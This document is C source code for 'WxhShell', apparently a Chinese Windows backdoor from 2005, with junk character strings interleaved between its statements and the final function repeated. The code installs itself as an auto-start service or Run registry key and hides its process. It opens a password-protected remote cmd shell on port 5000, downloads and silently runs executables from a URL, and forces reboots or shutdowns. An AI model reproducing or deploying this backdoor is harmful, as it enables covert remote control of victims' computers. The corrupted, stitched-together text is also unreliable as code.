g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); != _:*U)-' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cAogz/<S NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y4t M0h MMN2XxS if (!NtQueryInformationProcess) return 0; pej/9{*xg( F<M#T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HpC|dtro if(!hProcess) return 0; l`UJHX dP=1* if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .9#4qoM' ]8NNxaE3 ( CloseHandle(hProcess); mVcpYyD|k >JkQU e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YR@@:n'TP if(hProcess==NULL) return 0; vQ#$.*Cvn EW%%W6O6 HMODULE hMod; mnzamp char procName[255]; #'^!@+) unsigned long cbNeeded; /V+N fIu5d6;' if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >_!pg<{, 2Vxr CloseHandle(hProcess); EDcR:Dw3 cKEf- &~ if(strstr(procName,"services")) return 1; // 以服务启动 E3<jH F #Uxl%h return 0; // 注册表启动 };o6|e:2E } W$O^IC PspH[db // 主模块 5"u-oE& int StartWxhshell(LPSTR lpCmdLine) 2f9~:.NgF { 'Cd8l#z7 SOCKET wsl; IsxPm9P2< BOOL val=TRUE; d8`^;T
;}d int port=0; j#S>8:
G struct sockaddr_in door; yH#zyO4fD- VO] Jvf if(wscfg.ws_autoins) Install(); Q.7Rv
XNw8 "IA[;+_" port=atoi(lpCmdLine); f50qA;7k ~Z!xS if(port<=0) port=wscfg.ws_port; <"{Lv)4 \:mx Ri WSADATA data; 5V!L~# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O+%Y1=S[WQ 7}(wEC if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 'C)^hj. setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mq`N&ABO!K door.sin_family = AF_INET; jhjGDF door.sin_addr.s_addr = inet_addr("127.0.0.1"); v|t_kNX;v* door.sin_port = htons(port); 58,_ `e .;P if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m8,P-m closesocket(wsl); [7q~rcf,Z return 1; 3P 3x^NI } zDeh# eUPG){" if(listen(wsl,2) == INVALID_SOCKET) { ;29q closesocket(wsl); +Gqh return 1; ;Xg6'yxJ } X&nkc/erx Wxhshell(wsl); kD
dY
i7g> WSACleanup(); XSw!_d e2P
ds` return 0; ;q3"XLV(T[ a$7}41F[~s } pyf/%9R:d )S,Rx // 以NT服务方式启动 %GY U$aA VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O< \i{4}} { >~D-\,d|f DWORD status = 0; IPIas$ DWORD specificError = 0xfffffff; | M|5Nc>W t:SME'~.P serviceStatus.dwServiceType = SERVICE_WIN32; WZ3GI
l serviceStatus.dwCurrentState = SERVICE_START_PENDING; AW XBk+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U^xz>:~ serviceStatus.dwWin32ExitCode = 0; Hp@nxtKxW serviceStatus.dwServiceSpecificExitCode = 0; 7M#irCX serviceStatus.dwCheckPoint = 0; p ow.@ serviceStatus.dwWaitHint = 0; $O)fHD' d=6FL" .o hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V1 H3} if (hServiceStatusHandle==0) return; TsvF~Gdp :'F7^N3;H status = GetLastError(); $?e_l
if (status!=NO_ERROR) ZbZCW:8>k { )[c@5zy~* serviceStatus.dwCurrentState = SERVICE_STOPPED; Kb/w+J
S serviceStatus.dwCheckPoint = 0; :B(vk3;U! serviceStatus.dwWaitHint = 0; qkg`4'rLg serviceStatus.dwWin32ExitCode = status; zFq8xw serviceStatus.dwServiceSpecificExitCode = specificError; Y
>83G`*}b SetServiceStatus(hServiceStatusHandle, &serviceStatus); $U]KIHb return; 'H]&$AZ;@ } D=0^"7K >7[o=!^:4 serviceStatus.dwCurrentState = SERVICE_RUNNING; 4$wn8!x2| serviceStatus.dwCheckPoint = 0; DC5^k[m serviceStatus.dwWaitHint = 0; 3T|xUY)G4 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ow@}6&1 } 8}^R jMgI rZK;=\Ot // 处理NT服务事件,比如:启动、停止 (sfy14>\ VOID WINAPI NTServiceHandler(DWORD fdwControl) bS!4vc1`2 { 5N_w(B switch(fdwControl) SdJGhU { <uYeev% case SERVICE_CONTROL_STOP: EV$$wrohQ` serviceStatus.dwWin32ExitCode = 0; VsrYU@V serviceStatus.dwCurrentState = SERVICE_STOPPED; &Oxf^x["] serviceStatus.dwCheckPoint = 0; [ 1$p}x serviceStatus.dwWaitHint = 0; nc.(bb), { YIc|0[ ]*| SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5r-OE-U{ } 'W5r(M4U return; 9FT;?~, case SERVICE_CONTROL_PAUSE: "VxZnT serviceStatus.dwCurrentState = SERVICE_PAUSED; , ;L break; %EYh5W case SERVICE_CONTROL_CONTINUE: `s (A&=g\ serviceStatus.dwCurrentState = SERVICE_RUNNING; )A9K9pZj break; woJO0hHR case SERVICE_CONTROL_INTERROGATE: h}fz`ti U break; =zBcfFii`w }; $A\fm` SetServiceStatus(hServiceStatusHandle, &serviceStatus); o@j]yA.5) }
%[0V> T6MlKcw,t // 标准应用程序主函数 bI.LE/yk int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {vh}f+2 { X[b= 25Ct W|J8QNL?jm // 获取操作系统版本 U_ n1QU OsIsNt=GetOsVer(); _$%.F|: GetModuleFileName(NULL,ExeFile,MAX_PATH); umZy=KHj vgY )
L // 从命令行安装 3T^f#UT if(strpbrk(lpCmdLine,"iI")) Install(); l"^'uGB'
a@:(L"Or // 下载执行文件 FJo?~ if(wscfg.ws_downexe) { 5v6 x if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ApHs`0=( WinExec(wscfg.ws_filenam,SW_HIDE); /f_w@TR\{ } c,nE@~ul2 tKOTQ8i4 if(!OsIsNt) { E~vM$$O$ // 如果时win9x,隐藏进程并且设置为注册表启动 ssaEAm: HideProc(); x`n$4a'7b StartWxhshell(lpCmdLine); jMv qKJ(< } yh0zW
$ else {a aI<u if(StartFromService()) BSt^QH-' // 以服务方式启动 FOJ-?s( StartServiceCtrlDispatcher(DispatchTable); "TW%-67 else T-e'r // 普通方式启动 iAD'MB StartWxhshell(lpCmdLine); ;f,`T ]DVZeI03@ return 0; " B`k } U-~cVk+LI
v?Dc3 )e&U'Fx }e$^v*16 =========================================== ,z<J`n eC`} oEz |@'/F #T oz3N
8^M SSG57N-T Jw13
Wb- " Mttt]] WUOoK$I~K #include <stdio.h> KnL-qc #include <string.h> 8<V6W F`e #include <windows.h> @yc/1u$r #include <winsock2.h> +/xmxh$ $ #include <winsvc.h> Jr|"QRC #include <urlmon.h> f</'=k \"=4)Huv #pragma comment (lib, "Ws2_32.lib") +xoh=m #pragma comment (lib, "urlmon.lib") bY`
b3 D{'>G@nLQ #define MAX_USER 100 // 最大客户端连接数 ',Y`XP"Q #define BUF_SOCK 200 // sock buffer p;8I@~dh #define KEY_BUFF 255 // 输入 buffer ])`+
78 _:dt8+T# #define REBOOT 0 // 重启 =VA5!-6<Uq #define SHUTDOWN 1 // 关机 q8DSKi MU_8bK9m #define DEF_PORT 5000 // 监听端口 117`=9F _8zZ.~) #define REG_LEN 16 // 注册表键长度 w3,DsEXu #define SVC_LEN 80 // NT服务名长度 GJTKqr|1O pI>yO~Ve // 从dll定义API <HYK9{Q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |76G#K~<X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r0MUv}p#|L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .kbo]P typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Tt^PiaS! Z"ce1cB // wxhshell配置信息 +=_^4 struct WSCFG { ^)i5.o\ int ws_port; // 监听端口 +V2\hq[{ char ws_passstr[REG_LEN]; // 口令 4c})LAwd& int ws_autoins; // 安装标记, 1=yes 0=no 9^yf'9S1 char ws_regname[REG_LEN]; // 注册表键名 0cGO*G2Xr char ws_svcname[REG_LEN]; // 服务名 QmHj=s:x\ char ws_svcdisp[SVC_LEN]; // 服务显示名 <n#phU Q char ws_svcdesc[SVC_LEN]; // 服务描述信息 .$ o0$`} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L>trLD1pt int ws_downexe; // 下载执行标记, 1=yes 0=no 3EY>XS char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +, IMN)?;z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !'
} cA,`!dG2, };
AqqD! !
.q,m>?+ // default Wxhshell configuration N~=,RPjq struct WSCFG wscfg={DEF_PORT, jH5VrN*Q "xuhuanlingzhe", ?cyBF*o 1, 0c-.h "Wxhshell", ,0pCc< "Wxhshell", HpXQD; "WxhShell Service", L- '{ "Wrsky Windows CmdShell Service", .
X: "Please Input Your Password: ", >$/<~j] 1, 5YV3pFz$) "http://www.wrsky.com/wxhshell.exe", 6@rebe!&= "Wxhshell.exe"
pYRqV }; Q
*]d[ >b1#dEY // 消息定义模块 _ArN[]Z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tr6J+hS char *msg_ws_prompt="\n\r? for help\n\r#>"; j%
7Gje[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gU+yqT7= char *msg_ws_ext="\n\rExit."; VQH48{X char *msg_ws_end="\n\rQuit."; i
/[{xRXiR char *msg_ws_boot="\n\rReboot..."; 2[`n<R\ char *msg_ws_poff="\n\rShutdown..."; DSRc4|L char *msg_ws_down="\n\rSave to "; `RSiZ%Al XLpn3sX$ char *msg_ws_err="\n\rErr!"; ,= ApnNUgX char *msg_ws_ok="\n\rOK!"; ##Pzc~xSn j1g$LAe char ExeFile[MAX_PATH]; 'XKfKv >; int nUser = 0; wsB-(
0- HANDLE handles[MAX_USER]; qzxWv5UH int OsIsNt; Sy <E@1 /ojwOJ SERVICE_STATUS serviceStatus; rhPv{6Z|7 SERVICE_STATUS_HANDLE hServiceStatusHandle; !`=iKe&%E jc_k\ // 函数声明 cI8\d 4/py int Install(void); c!6v-2ykv int Uninstall(void); jm<^WQ%Cc int DownloadFile(char *sURL, SOCKET wsh); 83V\O_7j int Boot(int flag); +0[H`5-^ void HideProc(void); =3'B$PY int GetOsVer(void); ,x&WE@tD| int Wxhshell(SOCKET wsl); x'}zNEXI void TalkWithClient(void *cs); -!~pa^j int CmdShell(SOCKET sock); ;(K"w* int StartFromService(void); aH_FBY int StartWxhshell(LPSTR lpCmdLine); f*p=j(sF T?tZ?!6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $gL^\(_3H VOID WINAPI NTServiceHandler( DWORD fdwControl ); LE?sAN D^f;X.Qm // 数据结构和表定义 p$*P@qm SERVICE_TABLE_ENTRY DispatchTable[] = q_"w,28 { J(P'!#z^ {wscfg.ws_svcname, NTServiceMain}, m5,&;~ {NULL, NULL} QpS7nGev }; #GUD^#Jh s'Qmrs
a // 自我安装 <vxTfE@>bp int Install(void) WKwYSbs( { *,=8x\Shp char svExeFile[MAX_PATH]; ,zZ@QW5 HKEY key; 8CH9&N5W5t strcpy(svExeFile,ExeFile); ,&Vir)S g*w}m>O // 如果是win9x系统,修改注册表设为自启动 AWAJ*6Z if(!OsIsNt) { Id8e%) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t{`krs`` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C@pn4[jTl RegCloseKey(key); kX)*:~* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d vo|9 > RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5Y@Hb!5D RegCloseKey(key); Xxj<Ai2 return 0; o5m]Gqa } 9XUk.Nek } `f<w+u } b.9[Vf_G else { 9`KFJx6D $-s8tc( // 如果是NT以上系统,安装为系统服务 0vMKyT3 c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r- Y7wM`TZ if (schSCManager!=0) as!P`*@ { "EE(O9q SC_HANDLE schService = CreateService (.5Ft^3W ( X}ihYM3y/ schSCManager, Q:'r
p wscfg.ws_svcname, *&V"x=ba, wscfg.ws_svcdisp, A.RG8" SERVICE_ALL_ACCESS, !\'HKk~V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (CAkzgTfc SERVICE_AUTO_START, /-(OJN5F^ SERVICE_ERROR_NORMAL, NSq29# svExeFile, Vo|[Z)MO` NULL, BA8!NR| NULL, 7loWqZ NULL, pOj8-rr NULL, kUr/*an NULL _94R8?\_V7 ); <q&i"[^M if (schService!=0) _lC0XDZ { ^ ),;`YXZ CloseServiceHandle(schService); -"XHN=H CloseServiceHandle(schSCManager); R 0G!5>1i strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ih|&q strcat(svExeFile,wscfg.ws_svcname); ;*d?Qe: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VJ1rU mO~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xlh<}Vtp RegCloseKey(key); c4s,T"H return 0; by$mD_sr } +6n\5+5 } n]>L"D, CloseServiceHandle(schSCManager); /2Ok;!. } Ds{DVdqA$c } M<Y{Cs 3 FMYs&0r4 return 1; g!z &lQnZ } 3{TE6&HIa [ fs.D / // 自我卸载 aY DM)b} int Uninstall(void) }C$D-fH8sW { r[#*..Y HKEY key; Q@"!uB.e xhB-gG= if(!OsIsNt) { u)%/df qzZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Id1H RegDeleteValue(key,wscfg.ws_regname); ke)<E98DC RegCloseKey(key); \{qtdTd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q<yvpT( RegDeleteValue(key,wscfg.ws_regname); 7Jpq7; RegCloseKey(key); $2a_!/ return 0; H8m[:K]_H } j!@,r^( } `X B$t?xi } $^YHyfh else { at\$
IK_ n8FIxl&u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2;w> w#}> if (schSCManager!=0) /!60oV4p0 { <<-BQ
l~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /PG%Y]l0b if (schService!=0) =r&i`L{] { Q_*.1L if(DeleteService(schService)!=0) { CM t$) CloseServiceHandle(schService); |Vp
? CloseServiceHandle(schSCManager); LwH+X:?i return 0; aaI5x } \t? ;p-+ta CloseServiceHandle(schService); EWWCh0
{ } v(,YqT>q@U CloseServiceHandle(schSCManager); F'ez{B\AX } P75@Yu( } %-|$7?~ Xod/GYG return 1; m=w #l>! } =~q$k m,F4N$ // 从指定url下载文件 6~6 vwp int DownloadFile(char *sURL, SOCKET wsh) tnq ZlS { kAW2vh HRESULT hr; w~n+hhMF char seps[]= "/"; _OK!/T*FBt char *token; j3[kG# char *file; i3>_E <"9 char myURL[MAX_PATH]; (T.j3@Ko char myFILE[MAX_PATH]; |w>d]eA5 ]@l;;Sp strcpy(myURL,sURL); _gpf9ad token=strtok(myURL,seps); z\K-KD{Ad while(token!=NULL) k7 Ne(4P { k~JTQh*,w file=token; e_FoNT token=strtok(NULL,seps); CH6;jo] } pQ8f$I#v fyq%-Tj GetCurrentDirectory(MAX_PATH,myFILE); 3RI%OCGF strcat(myFILE, "\\"); uzS;&-nA strcat(myFILE, file); QjTs$#eMW send(wsh,myFILE,strlen(myFILE),0); C`8.8 send(wsh,"...",3,0); `/(9#E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZtpbKy!\$B if(hr==S_OK) P R_|
8H| return 0; -R`nitf else ?VyiR40-Cx return 1; ^+Vf*YY
8 rt\.|Hr4s } d 0:;IUG 880T'5}S
: // 系统电源模块 WKq{g+a int Boot(int flag) Qo80u?* { @1G`d53N HANDLE hToken; *heX[D
&>) TOKEN_PRIVILEGES tkp; ,#QLc 9Y-6e0B: if(OsIsNt) { Zk75GC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P
:D6w){ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A;#GU` tkp.PrivilegeCount = 1; |g3a1El tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iY /N%T; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )>]~ Y if(flag==REBOOT) { oCBZ9PGkK if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 36<PI'l#~ return 0; !18M!8Xea } +w
;2k w else { <Ct b^4$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `Ns$HV return 0; 3aL8 gE } ,~@Nhd~k } =AhXEu ^ else { `~zY!sK if(flag==REBOOT) { GtQ$`~r if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g. V6:>, return 0; mez )G| } E^uWlUb{ else { !+qy~h if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }yde9b?F return 0; gv7(-I } >EQd;Af } U#=Q` W0vdU;?% return 1; H{Zfbb } FX+;azE7 {f]K3V // win9x进程隐藏模块 nunTTE,iq% void HideProc(void) L{xCsJ3d { @]u nqCO wowv>!N!X- HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b`N0lH.V if ( hKernel != NULL ) XiE { - 7)%J+5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zrYhx!@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fvKb0cIx] FreeLibrary(hKernel); r(./ 00a } NDLk+n >h>X/a(=~ return; &VtTUy} } ?EF[OyE urmx})= // 获取操作系统版本 9^ITP!~e* int GetOsVer(void) SQ7Ws u>T@ { "IbXKS>t OSVERSIONINFO winfo; ~bU!4P}4j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OxGKtnAjf GetVersionEx(&winfo); :t?Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D"kss5>w return 1; ~)Z{ Yj9)S else .bcoH return 0; H+Dv-*i } [Q(FBoI| )BI6nU // 客户端句柄模块 LLp/ SWe int Wxhshell(SOCKET wsl) O~1vX9 { Ob"48{w$ SOCKET wsh; X{j`H\'L struct sockaddr_in client; /kLG/ry8l: DWORD myID; sKvz<7pag *}hx9:9\B while(nUser<MAX_USER) f`dQ $Kh { $T)EJe int nSize=sizeof(client); F"k.1. wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2th>+M~A if(wsh==INVALID_SOCKET) return 1; aWe?n; 1I{^]]qw handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?'@tx4#v\2 if(handles[nUser]==0) f6%7:B d closesocket(wsh); -nk0Q_7N else h\*I*I8C nUser++; @BqSu|'Du, } |$c~Jq WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :SVWi}:Co1 vFsl]|<;8 return 0; \_|r>vQ } _Zbgmasb T$4Utd5[z' // 关闭 socket iIU>:)i void CloseIt(SOCKET wsh) pN7 v7rs { c9R|0Yn^J closesocket(wsh); ]$?\,` nUser--; }A'Ro/n ExitThread(0); P};GcV- } xsSX~` {A MoE+U // 客户端请求句柄 -K%~2M< void TalkWithClient(void *cs) @2)ImgK[ { :]^FTnO 2q*aq% SOCKET wsh=(SOCKET)cs; :_"%o= char pwd[SVC_LEN]; *'nZ|r v char cmd[KEY_BUFF]; X3,+aL` char chr[1]; lT~A~O int i,j; HrS y]TNjLpo$ while (nUser < MAX_USER) { p) ea1j>N Jl(G4h V'\ if(wscfg.ws_passstr) { JLH,:2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j9/Ev]im|F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mY !LGN //ZeroMemory(pwd,KEY_BUFF); om}jQJ]KH i=0; ;m cu(J while(i<SVC_LEN) { cWNWgdk,`V a#4 'X* // 设置超时 K5SP8<. fd_set FdRead; *oU-V# struct timeval TimeOut; H{nYZOf/ FD_ZERO(&FdRead); u.Z,HsEO b FD_SET(wsh,&FdRead); H.8Vm[W TimeOut.tv_sec=8; dw]wQ\4B TimeOut.tv_usec=0; 7JHS8C<] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FkJX) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ' 5%`[& K]Onb{QY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +1j+%&). pwd=chr[0]; OGqsQ if(chr[0]==0xd || chr[0]==0xa) { %:WM]dc pwd=0; F_&bE@k break; &33.mdBH } jwd{CN% i++; wz(D
}N5 } {IpIQ-@l V9Gk``F<RZ // 如果是非法用户,关闭 socket }./_fFN@ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lSk<euCYs } d$(>=gzBQ ^#A[cY2eM send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ST[+k send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t@O4!mFH ~8
w(M while(1) { $ZOKB9QccC }.R].4gT ZeroMemory(cmd,KEY_BUFF); `bF]O" :xP$iEA`G // 自动支持客户端 telnet标准 _p`@/[(| j=0; P.;S6i
n while(j<KEY_BUFF) { {k}EWV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |rbl sL2?Z cmd[j]=chr[0]; Y4B<]C4 if(chr[0]==0xa || chr[0]==0xd) { f!$J_dz cmd[j]=0; ^YIOS]d>8# break; T4!]^_t^ } LVEVCpp@ j++; 3X!~*_iC } H9)uni $g$`fR) // 下载文件 8&C(0H]1 if(strstr(cmd,"http://")) { pV("NJj! send(wsh,msg_ws_down,strlen(msg_ws_down),0); |16
:Zoq if(DownloadFile(cmd,wsh)) EhFhL4Xdn send(wsh,msg_ws_err,strlen(msg_ws_err),0); Na~_=3+a else iz^wBQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c&Zm>Qo[
} ^w12k2a else { CXQ?P Uqpvj90sw switch(cmd[0]) { tJu<#hX R$@.{d&:w // 帮助 |wb7`6g case '?': { 1I+5 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9bNIaC*M break; !>:tF,fcB } z>0"T2W
y // 安装 XP` kf]9 case 'i': { K`X2N if(Install()) V0AX1?H~ w send(wsh,msg_ws_err,strlen(msg_ws_err),0); XGoy#h else ;Pa(nUE@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p_AV3 break; H\k5B_3OU } piG1&* // 卸载 \Cs<'(= case 'r': { tQ~B!j] if(Uninstall()) |d 3agfS[n send(wsh,msg_ws_err,strlen(msg_ws_err),0); lewDR"0Kx else 2$o[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % KA/ break; (Lo2fY5 } yn#h$o< // 显示 wxhshell 所在路径 7asq]Y}< case 'p': { $;CC
lzw char svExeFile[MAX_PATH]; %yMzgk[u strcpy(svExeFile,"\n\r"); 1;P\mff3Y strcat(svExeFile,ExeFile); V"p<A send(wsh,svExeFile,strlen(svExeFile),0); g=C<E2'i* break; t4IJ%#22 } g,:Nzb // 重启 5G<CDgl^! case 'b': { wF uh6!J send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Flxo%g}; if(Boot(REBOOT)) >.iw8#l send(wsh,msg_ws_err,strlen(msg_ws_err),0); i-?zwVmn else { ~qS/90, closesocket(wsh); L)}V[j# ExitThread(0); DH
!Br } A,{D9-% break; OkZ! ZS
h } Y*k<NeDyn // 关机 aHC;p=RQ\A case 'd': { ]uvbQ.l_t send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k^pu1g=6I if(Boot(SHUTDOWN)) (@E#O$' send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Jm2,Yv else { C):d9OI? closesocket(wsh); ge?-^s4M ExitThread(0); @S7=6RKa[ } @'*#]YU8 break; XQOprIJ
U } ^,K.)s // 获取shell f hG2 case 's': {
n ;5?^Un% CmdShell(wsh); C[nr> closesocket(wsh); #`4^zU) ExitThread(0); (u&yb!` break; 4p8jV*:@{ } ZPsY0IzLo // 退出 LDEt.,6i case 'x': { A9UaLSe send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /zG-\e U CloseIt(wsh); @7l=+`.i break; 6 ,pZRc } iWN.3|r // 离开 Z>Kcz^a# case 'q': { ),p]n send(wsh,msg_ws_end,strlen(msg_ws_end),0); QV'3O| closesocket(wsh); Hu9-<upc& WSACleanup(); jU4)zN/`r exit(1); 1|~#028 break; vi! r8k } t`8e#n 9 } %YvSHh;c } W:{PBb"x8 z)W#&JFF // 提示信息 x#F1@r8R if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lQ<#jxp } h*\TCl) } {F(-s"1;xO cfC; eRgq~ return; 01-\:[{ } Xs%R]KOwt Bgk~R.l // shell模块句柄 k{}[>))Q int CmdShell(SOCKET sock) J]|6l/i { >Oi2gPA STARTUPINFO si; /H jI=263 ZeroMemory(&si,sizeof(si)); qrM{b= si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CFkW@\] si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e"o6C\c PROCESS_INFORMATION ProcessInfo; 5I)~4.U|,m char cmdline[]="cmd"; f 74%YY CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MAwC\7n+X return 0; c#\ah}]Vo } +
4V1>e+ 9&O#+FU // 自身启动模式 as\<nPT{Fj int StartFromService(void) <4l.s { )tN?: l typedef struct k7yv>iN { ;B|^2i1Wi DWORD ExitStatus; Vp(D|}P DWORD PebBaseAddress; ;1*m}uNz DWORD AffinityMask; HsjELbH DWORD BasePriority; ]=?X*,' ULONG UniqueProcessId; PmPyb>HK=P ULONG InheritedFromUniqueProcessId; l5ZADK4 } PROCESS_BASIC_INFORMATION; 9:9N)cNvfX JAGi""3HG PROCNTQSIP NtQueryInformationProcess; $l#v/(uFa @wd!&%yzO static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &ui:DZAxj| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EzzTJ> 9nT?|n]> HANDLE hProcess; ~/^y.SsWM PROCESS_BASIC_INFORMATION pbi; 3[MdUj1y[ o'V%EQ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xi'>m IT if(NULL == hInst ) return 0; (?&=T.*^ ;[0&G6g g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K%g;NW g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2y GOzc NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3{Q,hpZN zA+@FR? if (!NtQueryInformationProcess) return 0; O>0VTW tpf7_YP_!- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '/%zi,0 if(!hProcess) return 0; (!K_Fy@ E+xuWdp.* if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^HA
%q8| n c+' =hR[ CloseHandle(hProcess); [J#1Ff; QB{rVI>mI! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v90T{1+M|4 if(hProcess==NULL) return 0; 9}tG\0tL* )M<vAUF HMODULE hMod; df*w>xS char procName[255];
